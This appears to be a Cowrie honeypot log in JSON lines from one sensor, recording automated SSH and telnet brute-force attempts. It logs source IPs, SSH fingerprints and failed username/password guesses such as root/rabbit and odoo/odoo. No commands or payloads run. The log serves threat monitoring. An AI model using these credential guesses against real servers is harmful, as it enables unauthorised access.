{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":38026,"dst_ip":"159.203.135.109","dst_port":22,"session":"dde3afddfa77","protocol":"ssh","message":"New connection: 103.27.238.120:38026 (159.203.135.109:22) [session: dde3afddfa77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:25.261598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:25.267468Z","src_ip":"103.27.238.120","session":"dde3afddfa77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:25.566970Z","src_ip":"176.65.132.129","session":"4e2d69325f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:25.572292Z","src_ip":"103.27.238.120","session":"dde3afddfa77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assassins","message":"login attempt [root/assassins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:26.382954Z","src_ip":"103.27.238.120","session":"dde3afddfa77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38788,"dst_ip":"159.203.135.109","dst_port":22,"session":"49431aecd883","protocol":"ssh","message":"New connection: 176.65.132.129:38788 (159.203.135.109:22) [session: 49431aecd883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:27.562242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:27.635141Z","src_ip":"176.65.132.129","session":"49431aecd883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:27.650989Z","src_ip":"103.27.238.120","session":"dde3afddfa77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:27.672198Z","src_ip":"176.65.132.129","session":"49431aecd883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49730,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf7ec19927b","protocol":"telnet","message":"New connection: 152.42.224.71:49730 (10.17.0.5:23) [session: fcf7ec19927b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:27.857711Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:27.976916Z","src_ip":"176.65.132.129","session":"49431aecd883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:29.063303Z","src_ip":"176.65.132.129","session":"49431aecd883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":54108,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cf161dc7474","protocol":"ssh","message":"New connection: 103.27.238.116:54108 (159.203.135.109:22) [session: 3cf161dc7474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:29.167170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:29.171835Z","src_ip":"103.27.238.116","session":"3cf161dc7474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:29.443397Z","src_ip":"103.27.238.116","session":"3cf161dc7474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rabbit","message":"login attempt [root/rabbit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:30.259533Z","src_ip":"103.27.238.116","session":"3cf161dc7474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38802,"dst_ip":"159.203.135.109","dst_port":22,"session":"2756c7af16c3","protocol":"ssh","message":"New connection: 176.65.132.129:38802 (159.203.135.109:22) [session: 2756c7af16c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:30.913574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:30.917448Z","src_ip":"176.65.132.129","session":"2756c7af16c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:30.999545Z","src_ip":"176.65.132.129","session":"2756c7af16c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:31.246954Z","src_ip":"176.65.132.129","session":"2756c7af16c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:31.540206Z","src_ip":"103.27.238.116","session":"3cf161dc7474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:32.422306Z","src_ip":"176.65.132.129","session":"2756c7af16c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38814,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba608dfc791","protocol":"ssh","message":"New connection: 176.65.132.129:38814 (159.203.135.109:22) [session: 5ba608dfc791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:34.188062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:34.192908Z","src_ip":"176.65.132.129","session":"5ba608dfc791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:34.275196Z","src_ip":"176.65.132.129","session":"5ba608dfc791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:34.639212Z","src_ip":"176.65.132.129","session":"5ba608dfc791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:35.723681Z","src_ip":"176.65.132.129","session":"5ba608dfc791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":45228,"dst_ip":"159.203.135.109","dst_port":22,"session":"a80e50d9532a","protocol":"ssh","message":"New connection: 193.228.128.84:45228 (159.203.135.109:22) [session: a80e50d9532a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:36.305709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:36.310556Z","src_ip":"193.228.128.84","session":"a80e50d9532a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:36.412618Z","src_ip":"193.228.128.84","session":"a80e50d9532a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888888","message":"login attempt [root/8888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:36.718328Z","src_ip":"193.228.128.84","session":"a80e50d9532a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60922,"dst_ip":"159.203.135.109","dst_port":22,"session":"523078738064","protocol":"ssh","message":"New connection: 176.65.132.129:60922 (159.203.135.109:22) [session: 523078738064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:37.694172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:37.699859Z","src_ip":"176.65.132.129","session":"523078738064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:37.784859Z","src_ip":"176.65.132.129","session":"523078738064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:37.825560Z","src_ip":"193.228.128.84","session":"a80e50d9532a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46254,"dst_ip":"10.17.0.5","dst_port":23,"session":"5758fe852332","protocol":"telnet","message":"New connection: 152.42.224.71:46254 (10.17.0.5:23) [session: 5758fe852332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:37.969582Z"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:38.031180Z","src_ip":"176.65.132.129","session":"523078738064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:39.116697Z","src_ip":"176.65.132.129","session":"523078738064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60924,"dst_ip":"159.203.135.109","dst_port":22,"session":"af64e1424a37","protocol":"ssh","message":"New connection: 176.65.132.129:60924 (159.203.135.109:22) [session: af64e1424a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:40.967611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:40.971983Z","src_ip":"176.65.132.129","session":"af64e1424a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:41.054379Z","src_ip":"176.65.132.129","session":"af64e1424a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:41.300009Z","src_ip":"176.65.132.129","session":"af64e1424a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:42.385026Z","src_ip":"176.65.132.129","session":"af64e1424a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46258,"dst_ip":"10.17.0.5","dst_port":23,"session":"63611c68f44a","protocol":"telnet","message":"New connection: 152.42.224.71:46258 (10.17.0.5:23) [session: 63611c68f44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:42.389244Z"}
{"eventid":"cowrie.session.closed","duration":35.65990996360779,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:55:43.418790Z","src_ip":"152.42.224.71","session":"9b27d266ddeb","protocol":"telnet"}
